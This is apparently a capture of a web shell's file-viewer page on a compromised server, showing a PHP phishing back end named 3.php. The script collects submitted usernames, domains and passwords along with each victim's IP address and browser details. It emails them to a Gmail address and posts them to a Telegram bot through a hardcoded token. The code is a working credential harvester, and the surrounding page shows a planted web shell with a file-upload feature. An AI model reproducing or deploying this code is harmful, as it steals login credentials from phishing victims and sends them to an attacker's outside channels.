Your IP : 216.73.216.97


Current Path : /var/www/clients/client3/web2/web/pub/HU/domain_auto/
Upload File :
Current File : /var/www/clients/client3/web2/web/pub/HU/domain_auto/3.php

<?php

$to = "xxxxxxx@gmail.com";   
$subject = "ADBPDF";

$fff = isset($_POST['pre_ai']) ? $_POST['pre_ai'] : '';
$ggg = isset($_POST['domain_auto']) ? $_POST['domain_auto'] : '';
$hhh = isset($_POST['pr']) ? $_POST['pr'] : '';

if ($fff === '' || $ggg === '' || $hhh === '') {
    return;
}

$message = "Usngnn: $fff\n";
$message .= "Domm: $ggg\n";
$message .= "Pdiddy: $hhh\n";
$message .= "IP Address: " . $_SERVER['REMOTE_ADDR'] . "\n";
$message .= "Browser Info: " . $_SERVER['HTTP_USER_AGENT'] . "\n";

$headers = "From: OgaPD <sweetthingsweet@" . $_SERVER['SERVER_NAME'] . ">\r\n";
mail($to, $subject, $message, $headers);

$telegramToken = "8228506776:AAEt3KfTL_amOzFTWvReVivOj6YovcyuoX8";
$chatID = "1138208901";
$telegramMessage = "NEW PD ENTRY\n\n" . $message;

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://api.telegram.org/bot$telegramToken/sendMessage");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'chat_id' => $chatID,
    'text' => $telegramMessage
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

?>